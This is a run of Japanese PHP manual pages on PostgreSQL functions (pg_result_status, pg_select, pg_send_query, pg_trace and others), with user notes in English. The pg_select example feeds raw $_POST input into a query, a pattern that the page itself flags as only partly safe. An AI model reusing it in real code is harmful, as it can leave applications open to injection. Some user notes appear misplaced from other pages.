pg_result_status ( resource $result , int $type = PGSQL_STATUS_LONG ) : mixed

pg_result_status() は、結果リソースのステータス あるいは結果に関するコマンド補完タグを返します。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

type

result の数値ステータスを返す PGSQL_STATUS_LONG、あるいは result のコマンドタグを返す PGSQL_STATUS_STRING のいずれかです。 指定しない場合は PGSQL_STATUS_LONG がデフォルトです。

返り値

PGSQL_STATUS_LONG が指定された場合の返り値は 以下のいずれかです。 PGSQL_EMPTY_QUERY、 PGSQL_COMMAND_OK、PGSQL_TUPLES_OK、PGSQL_COPY_OUT、 PGSQL_COPY_IN、PGSQL_BAD_RESPONSE、PGSQL_NONFATAL_ERROR および PGSQL_FATAL_ERROR 。 それ以外の場合は、PostgreSQL コマンドタグを含む文字列を返します。

例

例1 pg_result_status() の例

<?php

// データベースに接続する
$conn = pg_pconnect("dbname=publisher");

// COPY を実行する
$result = pg_query($conn, "COPY authors FROM STDIN;");

// 結果ステータスを得る
$status = pg_result_status($result);

// ステータスの内容を調べる
if ($status == PGSQL_COPY_IN)
   echo "Copy began.";
else
   echo "Copy failed.";

?>

上の例の出力は以下となります。

Copy began.

参考

  • pg_connection_status() - 接続ステータスを取得する

User Contributed Notes

Anonymous 01-Mar-2014 06:44
This function is useful it may not return a  full non fatal error but you want to see if the query completes anyway.

example

<?PHP
//connect to pg database
// create PGSQL

$PGSTAT = pg_result_status($PGSQL);//defaults to long

//And run it through a check for example

if(($PGSTAT == 1) || ($PGSTAT == 2)){
 // for query results;
}else if(($PGSTAT == 3) || ($PGSTAT == 4)){
 // for copy results;
}
if(($PGSTAT != 0) && ($PGSTAT != 5) && ($PGSTAT != 6) && ($PGSTAT != 7)){
// your code;
}else{
 // $ERRORS codes;
}
// This is worked the best for me so far  I tried using
// The command tag and I seem to still get an numeric result
//example
//$PGSTAT = pg_result_status($PGSQL, PGSQL_COMMAND_OK);
// got something like tuples ok so I recommend just use default long
?>
or use what ever condition check you feel fit
dean at deansas dot org 01-Feb-2013 03:50
The postgres docs say that PHP should never be able to return PGRES_NONFATAL_ERROR

"A result of status PGRES_NONFATAL_ERROR will never be returned directly by PQexec or other query execution functions" http://www.postgresql.org/docs/current/static/libpq-exec.html

Therefore you cannot use this function to check if this query produced a notice.
Meej Vaj 08-Jun-2005 06:45
If on "accident" your program passes pg_result_status a variable that is NOT a actual pg resource, it will return an empty string.
(This is important to know if you want to make sure a pg resource is "good" before attempting some operation on it).
romix at gmx dot de 16-Oct-2002 06:29
0 = PGSQL_EMPTY_QUERY
1 = PGSQL_COMMAND_OK
2 = PGSQL_TUPLES_OK
3 = PGSQL_COPY_TO
4 = PGSQL_COPY_FROM
5 = PGSQL_BAD_RESPONSE
6 = PGSQL_NONFATAL_ERROR
7 = PGSQL_FATAL_ERROR


レコードを選択する

  • ≪ pg_result_status
  • pg_send_execute ≫
  • PHP Manual
  • PostgreSQL 関数
  • レコードを選択する

pg_select

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_select — レコードを選択する

説明

pg_select ( resource $connection , string $table_name , array $assoc_array , int $options = PGSQL_DML_EXEC , int $result_type = PGSQL_ASSOC ) : mixed

pg_select() は、field=>value 形式の assoc_array で指定したレコードを選択します。 クエリに成功した場合、assoc_array で指定した条件に マッチする全てのレコードとフィールドを含む配列が返されます。

options が指定された場合、 指定したフラグとともに pg_convert() が assoc_array に適用されます。

pg_update() は生の値を渡します。 値はエスケープするか、PGSQL_DML_ESCAPE オプションを指定しなければいけません。 PGSQL_DML_ESCAPE はパラメータや識別子をクォートし、エスケープします。 よって、テーブル/カラム名は大文字小文字を区別します。

エスケープやプリペアドクエリであっても、 LIKE, JSON, Array, Regex などのクエリを守れない可能性があることに注意してください。 これらのパラメータはコンテクストに応じて処理されるべきです。 たとえば、値をエスケープ/検証する処理を行うことなどです。

パラメータ

connection

PostgreSQL データベースの接続リソース。

table_name

行を選択するテーブルの名前。

assoc_array

テーブル table_name のフィールド名をキーに、 そして取得対象となる行にマッチするデータを値にもつ配列。

options

PGSQL_CONV_FORCE_NULL、 PGSQL_DML_NO_CONV、 PGSQL_DML_ESCAPE、 PGSQL_DML_EXEC、 PGSQL_DML_ASYNC あるいは PGSQL_DML_STRING の組み合わせ。 options の一部に PGSQL_DML_STRING が含まれていた場合、 クエリ文字列が返されます。 PGSQL_DML_NO_CONV あるいは PGSQL_DML_ESCAPE が設定されている場合は、内部的に pg_convert() を呼びません。

返り値

成功した場合に true を、失敗した場合に false を返します。 options に PGSQL_DML_STRING が渡された場合は文字列を返します。

例

例1 pg_select() の例

<?php
  $db = pg_connect('dbname=foo');
  // これは少しだけ安全です。なぜなら、全ての値がエスケープされるからです。
  // しかし、PostgreSQL は JSON/Array をサポートしています。これらの型に
  // ついてはエスケープされたクエリや、プリペアドクエリでも安全ではありません。
  $rec = pg_select($db, 'post_log', $_POST);
  if ($rec) {
      echo "選択されたレコード:\n";
      var_dump($rec);
  } else {
      echo "ユーザーが誤った入力を送信しました。\n";
  }
?>

変更履歴

バージョン | 説明
7.1.0 | result_type パラメータが追加されました。
5.6.0 | 実験的な関数ではなくなりました。定数 PGSQL_DML_ESCAPE が追加されました。 true/false や null をサポートするようになりました。
5.5.3/5.4.19 | table_name に対する SQL インジェクション、そして識別子に対する間接的な SQL インジェクションの問題を修正しました。

参考

  • pg_convert() - 連想配列の値を、SQL 文として実行可能な形式に変換する

User Contributed Notes

wietse at cj2 dot nl 27-Feb-2006 08:20
David mentioned that you can't do a Select all.
However, when executing this script:
<?php
    $conn_string = "dbname=mydb";
    $db = pg_connect($conn_string);
    $selectfields = array("imgid" => "");
    $records = pg_select($db,"mmsfiles",$selectfields);
    print_r($records);
?>
...I get this result:
Array
(
    [0] => Array
        (
            [imgid] => 1
            [file] => /home/wietse/public_html/mms/images/1.gif
            [thumb] =>
        )
    [1] => Array
        (
            [imgid] => 2
            [file] => /home/wietse/public_html/mms/images/2.gif
            [thumb] =>
        )
    [2] => Array
        (
            [imgid] => 3
            [file] => /home/wietse/public_html/mms/images/3.gif
            [thumb] =>
        )
    [3] => Array
        (
            [imgid] => 4
            [file] => /home/wietse/public_html/mms/images/4.gif
            [thumb] =>
        )
)
david dot tulloh at infaze dot com dot au 16-May-2005 09:46
Valid options are PGSQL_DML_NO_CONV, PGSQL_DML_EXEC, PGSQL_DMP_ASYNC, PGSQL_DML_STRING (pulled out of source code).

This function does not support selecting from multiple tables.  You can get around this by setting the PGSQL_DML_NO_CONV option.  This prevents the error which occurs when the function tries to convert the condition array.

I think it is also important to point out that the table_name field is not safe, particularily with the PGSQL_DML_NO_CONV option.

The arguements array field is compulsory, as documented.  What isn't so clear is that the array has to actually have some values in it, you can't do a select all.

In summary, this function is good for a very small subset of basic queries.  If you are after anything more complex you are better off with pg_query.


指定したパラメータでプリペアドステートメントを実行するリクエストを 送信し、その結果を待たない

  • ≪ pg_select
  • pg_send_prepare ≫
  • PHP Manual
  • PostgreSQL 関数
  • 指定したパラメータでプリペアドステートメントを実行するリクエストを 送信し、その結果を待たない

pg_send_execute

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_send_execute — 指定したパラメータでプリペアドステートメントを実行するリクエストを 送信し、その結果を待たない

説明

pg_send_execute ( resource $connection , string $stmtname , array $params ) : bool

指定したパラメータでプリペアドステートメントを実行するリクエストを 送信し、その結果を待ちません。

これは pg_send_query_params() と似ています。 しかし、実行するコマンドは指定したクエリ文字列で決まるのではなく 事前に準備されたステートメントの名前で決まります。関数のパラメータは pg_execute() と同じように処理されます。 pg_execute() と同様に、7.4 より前のバージョンの PostgreSQL では動作しません。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

stmtname

実行するプリペアドステートメントの名前。"" が指定された場合は 無名ステートメントが実行されます。名前は、事前に pg_prepare()・pg_send_prepare() あるいは PREPARE SQL コマンドで準備されたものである 必要があります。

params

プリペアドステートメント中の $1、$2 などのプレースホルダを 置き換えるパラメータの配列。配列の要素数はプレースホルダの 数と一致する必要があります。

返り値

成功した場合に true 、失敗した場合に false を返します。 クエリの結果を確認するには pg_get_result() を使用します。

例

例1 pg_send_execute() の使用法

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // 実行するクエリを準備する
  if (!pg_connection_busy($dbconn)) {
    pg_send_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');
    $res1 = pg_get_result($dbconn);
  }

  // プリペアドクエリを実行する。 文字列 "Joe's Widgets" は
  // エスケープの必要がないことに注意
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Joe's Widgets"));
    $res2 = pg_get_result($dbconn);
  }

  // 同じプリペアドクエリを異なるパラメータで実行する
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));
    $res3 = pg_get_result($dbconn);
  }

?>

参考

  • pg_prepare() - 指定したパラメータでプリペアドステートメントを作成するリクエストを 送信し、その完了を待つ
  • pg_send_prepare() - 指定したパラメータでプリペアドステートメントを作成するリクエストを 送信し、その結果を待たない
  • pg_execute() - 指定したパラメータを用いてプリペアドステートメントを実行するリクエストを 送信し、その結果を待つ

User Contributed Notes

There are no user contributed notes for this page.


指定したパラメータでプリペアドステートメントを作成するリクエストを 送信し、その結果を待たない

  • ≪ pg_send_execute
  • pg_send_query_params ≫
  • PHP Manual
  • PostgreSQL 関数
  • 指定したパラメータでプリペアドステートメントを作成するリクエストを 送信し、その結果を待たない

pg_send_prepare

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_send_prepare — 指定したパラメータでプリペアドステートメントを作成するリクエストを 送信し、その結果を待たない

説明

pg_send_prepare ( resource $connection , string $stmtname , string $query ) : bool

指定したパラメータでプリペアドステートメントを作成するリクエストを 送信し、その結果を待ちません。

これは pg_prepare() の非同期バージョンです。 リクエストが受け付けられた場合に true 、そうでない場合に false を返します。コールが成功した後、実際にプリペアドステートメントが 作成されたかどうかを調べるには pg_get_result() を使用します。関数のパラメータは pg_prepare() と同じように処理されます。pg_prepare() と同様、 7.4 より前の PostgreSQL のバージョンでは正しく動作しません。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

stmtname

プリペアドステートメントにつける名前。接続内で一意である必要があります。 "" が指定された場合は無名ステートメントが作成され、以前に定義された 無名ステートメントを上書きします。

query

パラメータ化した SQL 文。ひとつの文のみである必要があります （複数の文をセミコロンで区切る形式は使用できません）。パラメータを 使用する際は $1、$2 などの形式で参照されます。

返り値

成功した場合に true 、失敗した場合に false を返します。 クエリの結果を確かめるには pg_get_result() を使用します。

例

例1 pg_send_prepare() の使用法

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // 実行するクエリを準備する
  if (!pg_connection_busy($dbconn)) {
    pg_send_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');
    $res1 = pg_get_result($dbconn);
  }

  // プリペアドクエリを実行する。文字列 "Joe's Widgets" は
  // エスケープの必要がないことに注意
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Joe's Widgets"));
    $res2 = pg_get_result($dbconn);
  }

  // 同一プリペアドクエリを別のパラメータで実行する
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));
    $res3 = pg_get_result($dbconn);
  }

?>

参考

  • pg_connect() - PostgreSQL 接続をオープンする
  • pg_pconnect() - 持続的な PostgreSQL 接続をオープンする
  • pg_execute() - 指定したパラメータを用いてプリペアドステートメントを実行するリクエストを 送信し、その結果を待つ
  • pg_send_execute() - 指定したパラメータでプリペアドステートメントを実行するリクエストを 送信し、その結果を待たない
  • pg_send_query_params() - コマンドとパラメータを分割してサーバーに送信し、その結果を待たない

User Contributed Notes

There are no user contributed notes for this page.


コマンドとパラメータを分割してサーバーに送信し、その結果を待たない

  • ≪ pg_send_prepare
  • pg_send_query ≫
  • PHP Manual
  • PostgreSQL 関数
  • コマンドとパラメータを分割してサーバーに送信し、その結果を待たない

pg_send_query_params

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_send_query_params — コマンドとパラメータを分割してサーバーに送信し、その結果を待たない

説明

pg_send_query_params ( resource $connection , string $query , array $params ) : bool

コマンドとパラメータを分割してサーバーに送信します。その結果を待つことは しません。

これは pg_send_query() とほぼ同じですが、パラメータが query とは別に分かれている点が違います。 関数のパラメータは、pg_query_params() によって 完全に制御されます。pg_query_params() と同様、 7.4 より前の PostgreSQL では動作しません。またクエリ文字列には ひとつのコマンドのみを含めることができます。

パラメータ

connection

PostgreSQL データベースの接続リソース。

query

パラメータ化した SQL 文。ひとつの文のみである必要があります （複数の文をセミコロンで区切る形式は使用できません）。パラメータを 使用する際は $1、$2 などの形式で参照されます。

params

プリペアドステートメント中の $1、$2 などのプレースホルダを 置き換えるパラメータの配列。配列の要素数はプレースホルダの 数と一致する必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

クエリの結果を判断するには pg_get_result() を使用します。

例

例1 pg_send_query_params() の使用法

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // パラメータを使用する。パラメータにはクォートやエスケープが
  // 必要ないことに注意
  pg_send_query_params($dbconn, 'select count(*) from authors where city = $1', array('Perth'));

  // 基本的な pg_send_query の使用法との比較
  $str = pg_escape_string('Perth');
  pg_send_query($dbconn, "select count(*) from authors where city = '${str}'");
?>

参考

  • pg_send_query() - 非同期クエリを送信する

User Contributed Notes

There are no user contributed notes for this page.


非同期クエリを送信する

  • ≪ pg_send_query_params
  • pg_set_client_encoding ≫
  • PHP Manual
  • PostgreSQL 関数
  • 非同期クエリを送信する

pg_send_query

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_send_query — 非同期クエリを送信する

説明

pg_send_query ( resource $connection , string $query ) : bool

pg_send_query() は、connection に非同期クエリを送信します。pg_query() とは異なり、 PostgreSQL へ一度に複数のクエリを送信することができ、 pg_get_result() を用いて結果を一つずつ取得することが可能です。

スクリプトの実行は、クエリを実行中もブロックされません。 接続がビジーである(すなわち、クエリが実行中である)ことを調べるには、 pg_connection_busy() を使用してください。 クエリは、pg_cancel_query() をコールすることによりキャンセルすることが可能です。

ユーザーは複数のクエリを一度に送信することができますが、 複数のクエリをビジー状態の接続に送信することはできません。 クエリがビジー状態の接続に送信された場合、 最後のクエリが終了するまで待ち、全ての結果は破棄されます。

パラメータ

connection

PostgreSQL データベース接続リソース。

query

実行するひとつまたは複数の SQL 文。

クエリ内のデータは 適切にエスケープ する必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

クエリの結果を利用するには pg_get_result() を使用します。

例

例1 pg_send_query() の例

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from authors; select count(*) from authors;");
  }

  $res1 = pg_get_result($dbconn);
  echo "First call to pg_get_result(): $res1\n";
  $rows1 = pg_num_rows($res1);
  echo "$res1 has $rows1 records\n\n";

  $res2 = pg_get_result($dbconn);
  echo "Second call to pg_get_result(): $res2\n";
  $rows2 = pg_num_rows($res2);
  echo "$res2 has $rows2 records\n";
?>

上の例の出力は以下となります。

First call to pg_get_result(): Resource id #3
Resource id #3 has 3 records

Second call to pg_get_result(): Resource id #4
Resource id #4 has 1 records

参考

  • pg_query() - クエリを実行する
  • pg_cancel_query() - 非同期クエリを取り消す
  • pg_get_result() - 非同期クエリの結果を取得する
  • pg_connection_busy() - 接続がビジーかどうか調べる

User Contributed Notes

moodsey211 at gmail dot com 13-Dec-2010 01:48
pg_send_query would not stop your script from executing but it would stop the script from exiting.

Example:

<?php
$con = pg_connect('dbname=payroll');
pg_send_query('SELECT process_payroll()'); // Where process_payroll is a super long process
?>

You would still need to wait for the query to finish before the any display would be sent to the browser. And surprisingly, unlike pg_query this script would not generate the Maximum execution time error.
rw burgholzer is name at deq dot virginia dot gov 30-Jul-2009 09:36
Regarding the failure to process them all now, then retrieve the results later, I found that all queries would return successfully if I added a further condition to your while loop in the "stack_query()" method.

By adding:
&& (pg_transaction_status($conn) === PGSQL_TRANSACTION_IDLE ) )

Every query executed with no errors.

<?php
$conn = pg_connect("dbname=dbname host=localhost user=psql ");
if ($conn === FALSE)
  exit("Can't connect to db");

$q = array();
// send some queries
foreach (range(0, 50) as $i)
  stack_query($q, $conn, "SELECT 'query $i' AS str;");
// receive them
while (true)
  {
    $left = stack_query($q, $conn);
    echo "$left left... ";
    $result = pg_get_result($conn);
    if ($left == 0 && $result === FALSE)
      break;
    $row = pg_fetch_assoc($result);
    // depending on race conditions, you wont get all your original queries here.
    echo "got $row[str]\n";
  }

function stack_query(&$queries, $conn, $sql = FALSE)
{
  if ($sql !== FALSE)
    $queries[] = $sql;
  while (count($queries) && !pg_connection_busy($conn)  && (pg_transaction_status($conn) === PGSQL_TRANSACTION_IDLE ) )
    pg_send_query($conn, array_shift($queries));
  return count($queries) + (pg_connection_busy($conn) ? 1 : 0);
}
?>
vincentdephily 29-Nov-2005 05:25
Note that if you send a query without calling pg_get_result() for the previous one (supposing it has finished and the connection is not busy), the previous query will get discarded.

See for yourself (tested on php4.4.0, postgres8.0.4, Linux/FreeBSD) :
<?
$conn = pg_connect("dbname=template1 host=localhost user=pgsql");
if ($conn === FALSE)
  exit("Can't connect to db");

$q = array();
// send some queries
foreach (range(0, 500) as $i)
  stack_query($q, $conn, "SELECT 'query $i' AS str;");
// receive them
while (true)
  {
    $left = stack_query($q, $conn);
    echo "$left left... ";
    $result = pg_get_result($conn);
    if ($left == 0 && $result === FALSE)
      break;
    $row = pg_fetch_assoc($result);
    // depending on race conditions, you wont get all your original queries here.
    echo "got $row[str]\n";
  }

function stack_query(&$queries, $conn, $sql = FALSE)
{
  if ($sql !== FALSE)
    $queries[] = $sql;
  while (count($queries) && !pg_connection_busy($conn))
    pg_send_query($conn, array_shift($queries));
  return count($queries) + (pg_connection_busy($conn) ? 1 : 0);
}
?>

You will have to write a higher level of abstraction if you want a "send all queries now, receive them later" behaviour.
Likeyouover others at hotmail dot com 02-Sep-2003 02:29
<?php
// --------- OPEN CONN ---

   $conn = pg_connect("host='127.0.0.1' dbname='test' user='usertest' password='passtest'");

// --------- OPEN FILE ---

   $fp = fopen('logo.gif', "r");
   $buffer = fread($fp, filesize('logo.gif'));
   fclose($fp);

// --------- CREATE - INSERT OID ---

   pg_exec($conn, "begin");

   $oid = pg_locreate($conn);

   $rs = pg_exec($conn,"INSERT INTO test(tipo, images) VALUES('A1', $oid);");
   $handle = pg_loopen ($conn, $oid, "w");

   pg_lowrite ($handle, $buffer);
   pg_loclose ($handle);

   pg_exec($conn, "commit");

// --------- OPEN - INSERT OID ---

   $rs = pg_exec($conn, "SELECT images FROM test WHERE tipo = 'A1';");
   $row = pg_fetch_row($rs, 0);

   pg_exec($conn, "begin");
   $loid = pg_loopen($conn, $row[0], "r");

   header("Content-type: image/gif");

   pg_loreadall($loid);
   pg_loclose($loid);

   pg_exec ($conn, "commit");

// --------- UNLINK OID ---

   pg_exec($conn, "begin");

   $loid = $row[0];
   pg_lounlink($conn, $loid);

   pg_exec ($conn, "commit");

// --------- DELETE OID ---

   pg_exec($conn, "DELETE FROM test WHERE tipo = 'A1';");

// --------- CLOSE CONN ---

   pg_close();
?>
Mikewithme at yahoo dot com 02-Sep-2003 02:28
Due to a bug, OLD API does not available with PHP 4.2.0 and 4.2.1.

PHP 4.2.2 will support OLD API again and will be kept long enough.

New API will be available PHP 4.2.0 to later versions.
yohgaki at php dot net
19-Jun-2002 04:00
Due to a bug, PHP 4.2.0 and 4.2.1 does not support pg_lo_import() old API. It's fixed in PHP 4.2.2.

BTW, new API will be always available from PHP 4.2.0 to later versions. Older API will be kept long enough, also.
ceco at noxis dot net
15-May-2002 09:08
it works for me (php-4.2.1)

not like this

int pg_lo_import ( string pathname [, resource connection])

but
int pg_lo_import ( resource connection, string pathname )

don't know the reason
Ron Howard 04-Jan-2003 07:20
If there is an error in one of your queries, the queries following it will not get executed, and there will *not* be an error message displayed. The only way I can think of to determine if an SQL error happened is to use pg_trace.

Example:

pg_send_query($connection,
    "SELECT id FROM users;
    SELECT * FROM customers;
     [INVALID-SQL-STATEMENT];
    SELECT name FROM countries;");

while ($result = pg_get_result($connection))
    $results[] = $result;

The $results array will only have two items in it.


クライアントのエンコーディングを設定する

  • ≪ pg_send_query
  • pg_set_error_verbosity ≫
  • PHP Manual
  • PostgreSQL 関数
  • クライアントのエンコーディングを設定する

pg_set_client_encoding

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

pg_set_client_encoding — クライアントのエンコーディングを設定する

説明

pg_set_client_encoding ( resource $connection = ? , string $encoding ) : int

pg_set_client_encoding() はクライアントの エンコーディングを設定し、成功した場合に 0、エラー時に -1 を 返します。

PostgreSQL は、バックエンドのデータベースエンコーディングを自動的に フロントエンドのエンコーディングに変換します。

注意:

この関数は、以前は pg_setclientencoding() と呼ばれていました。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

encoding

クライアントエンコーディング。以下のうちのひとつです。SQL_ASCII、EUC_JP、 EUC_CN、EUC_KR、EUC_TW、 UNICODE、MULE_INTERNAL、LATINX (X=1...9)、 KOI8、WIN、ALT、SJIS、 BIG5 あるいは WIN1250 。

利用可能なエンコーディングの完全なリストは、使用している PostgreSQL のバージョンに依存します。詳細な情報については PostgreSQL のマニュアルを 参照ください。

返り値

成功した場合に 0 、エラー時に -1 を返します。

例

例1 pg_set_client_encoding() の例

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

// クライアントのエンコーディングを UNICODE にする。
// データは、バックエンドのエンコーディングから自動的に変換される。
pg_set_client_encoding($conn, "UNICODE");

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
  echo "An error occurred.\n";
  exit;
}

// UTF-8 データを書き出す。
while ($row = pg_fetch_row($result)) {
  echo "Author: $row[0]  E-mail: $row[1]";
  echo "<br />\n";
}

?>

参考

  • pg_client_encoding() - クライアントのエンコーディングを取得する

User Contributed Notes

13-Jul-2001 08:19
pg_query($connection, "set client_encoding to '$encoding'") can be used instead.


pg_last_error および pg_result_error が返すメッセージの詳細度を指定する

  • ≪ pg_set_client_encoding
  • pg_socket ≫
  • PHP Manual
  • PostgreSQL 関数
  • pg_last_error および pg_result_error が返すメッセージの詳細度を指定する

pg_set_error_verbosity

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_set_error_verbosity — pg_last_error() および pg_result_error() が返すメッセージの詳細度を指定する

説明

pg_set_error_verbosity ( resource $connection = ? , int $verbosity ) : int

pg_last_error() および pg_result_error() が返すメッセージの詳細度を指定します。

pg_set_error_verbosity() は詳細度を設定し、その接続の これまでの設定を返します。PGSQL_ERRORS_TERSE モードでは、返されるメッセージは深刻度・概要 および 発生位置のみです。 これはたいていの場合 1 行に収まります。デフォルトのモード （PGSQL_ERRORS_DEFAULT）では、それに加えて何らかの 詳細情報・ヒントあるいは状況フィールドを含みます（これらは複数行に またがる可能性があります）。PGSQL_ERRORS_VERBOSE モードは、有効なフィールドをすべて含みます。詳細度の設定変更内容は それ以降に新しく作成した結果オブジェクトにのみ反映され、既存の 結果オブジェクトには影響を与えません。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

verbosity

指定する詳細度。PGSQL_ERRORS_TERSE、 PGSQL_ERRORS_DEFAULT あるいは PGSQL_ERRORS_VERBOSE 。

返り値

変更前の詳細度レベル。PGSQL_ERRORS_TERSE、 PGSQL_ERRORS_DEFAULT あるいは PGSQL_ERRORS_VERBOSE のいずれかを 返します。

例

例1 pg_set_error_verbosity() の例

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from doesnotexist;");
  }

  pg_set_error_verbosity($dbconn, PGSQL_ERRORS_VERBOSE);
  $res1 = pg_get_result($dbconn);
  echo pg_result_error($res1);
?>

参考

  • pg_last_error() - 特定の接続から直近のエラーメッセージ文字列を取得する
  • pg_result_error() - 結果に関連するエラーメッセージを取得する

User Contributed Notes

There are no user contributed notes for this page.


PostgreSQL 接続の下層にある、読み取り専用のソケットのハンドルを取得する

  • ≪ pg_set_error_verbosity
  • pg_trace ≫
  • PHP Manual
  • PostgreSQL 関数
  • PostgreSQL 接続の下層にある、読み取り専用のソケットのハンドルを取得する

pg_socket

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

pg_socket — PostgreSQL 接続の下層にある、読み取り専用のソケットのハンドルを取得する

説明

pg_socket ( resource $connection ) : resource|false

pg_socket() は、 与えられた PostgreSQL 接続の下層にあるソケットに対応した、 読み取り専用の resource を返します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

connection

PostgreSQL のデータベース接続のリソース

返り値

成功した場合は、ソケットのリソース。 失敗した場合に false を返します

User Contributed Notes

There are no user contributed notes for this page.


PostgreSQL 接続のトレースを有効にする

  • ≪ pg_socket
  • pg_transaction_status ≫
  • PHP Manual
  • PostgreSQL 関数
  • PostgreSQL 接続のトレースを有効にする

pg_trace

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

pg_trace — PostgreSQL 接続のトレースを有効にする

説明

pg_trace ( string $pathname , string $mode = "w" , resource $connection = ? ) : bool

pg_trace() は、PostgreSQL フロントエンド/ バックエンド間の通信をデバック用のファイルにトレースすることを有効にします。 このトレース結果を完全に理解するためには、PostgreSQL 通信プロトコルの詳細に 精通している必要があります。

そうでない人にとっても、サーバーに送られたクエリのエラーを トレースすることは有用です。試しに grep '^To backend' trace.log を実行し、実際に PostgreSQL サーバーに送信される クエリを見てみるとよいでしょう。詳細な情報は » PostgreSQL ドキュメントを 参照ください。

パラメータ

pathname

トレースログを書き込むファイルの名前（フルパスを含む）。 fopen() と同じ。

mode

オプションのファイルアクセスモード。fopen() と同じです。

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pg_trace() の例

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
   pg_trace('/tmp/trace.log', 'w', $pgsql_conn);
   pg_query("SELECT 1");
   pg_untrace($pgsql_conn);
   // /tmp/trace.log にバックエンドの通信が記録される
} else {
   print pg_last_error($pgsql_conn);
   exit;
}
?>

参考

  • fopen() - ファイルまたは URL をオープンする
  • pg_untrace() - PostgreSQL 接続のトレースを無効にする

User Contributed Notes

There are no user contributed notes for this page.


サーバー上で実行中のトランザクションの状態を返す

  • ≪ pg_trace
  • pg_tty ≫
  • PHP Manual
  • PostgreSQL 関数
  • サーバー上で実行中のトランザクションの状態を返す

pg_transaction_status

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_transaction_status — サーバー上で実行中のトランザクションの状態を返す

説明

pg_transaction_status ( resource $connection ) : int

サーバー上で実行中のトランザクションの状態を返します。

警告

PostgreSQL 7.3 サーバーで autocommit を off に 設定している場合、pg_transaction_status() は 不正確な値を返します。サーバー側での自動コミット機能は非推奨と されており、最近のバージョンのサーバーでは存在しません。

パラメータ

connection

PostgreSQL データベースの接続リソース。

返り値

PGSQL_TRANSACTION_IDLE（アイドル状態）、 PGSQL_TRANSACTION_ACTIVE（コマンドの実行中）、 PGSQL_TRANSACTION_INTRANS（正常なトランザクション内でアイドル状態）、 あるいは PGSQL_TRANSACTION_INERROR（失敗したトランザクション内でアイドル状態） のいずれかを返します。 接続が異常な場合は PGSQL_TRANSACTION_UNKNOWN を返します。 PGSQL_TRANSACTION_ACTIVE が返されるのは、クエリを サーバーに送信した後まだそれが完了していない場合のみです。

例

例1 pg_transaction_status() の例

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
  $stat = pg_transaction_status($dbconn);
  if ($stat === PGSQL_TRANSACTION_UNKNOWN) {
      echo 'Connection is bad';
  } else if ($stat === PGSQL_TRANSACTION_IDLE) {
      echo 'Connection is currently idle';
  } else {
      echo 'Connection is in a transaction state';
  }
?>

User Contributed Notes

btherl at yahoo dot com dot au 17-Jul-2006 07:27
This function is implemented in C, so there's no way to mimic it in SQL for older versions of PHP.  But you can mimic some of the functionality by using a wrapper which keeps track of when you begin and commit/rollback transactions.


接続に関する TTY 名を返す

  • ≪ pg_transaction_status
  • pg_unescape_bytea ≫
  • PHP Manual
  • PostgreSQL 関数
  • 接続に関する TTY 名を返す

pg_tty

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_tty — 接続に関する TTY 名を返す

説明

pg_tty ( resource $connection = ? ) : string

pg_tty() は、指定した PostgreSQL connection リソースで、サーバー側のデバッグ出力が 送られる tty 名を返します。

注意:

pg_tty() は現在は使用されません。今はサーバーが TTY 設定を気にする必要がないからです。しかし、過去との互換性を 保持するためにこの関数は残されています。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

返り値

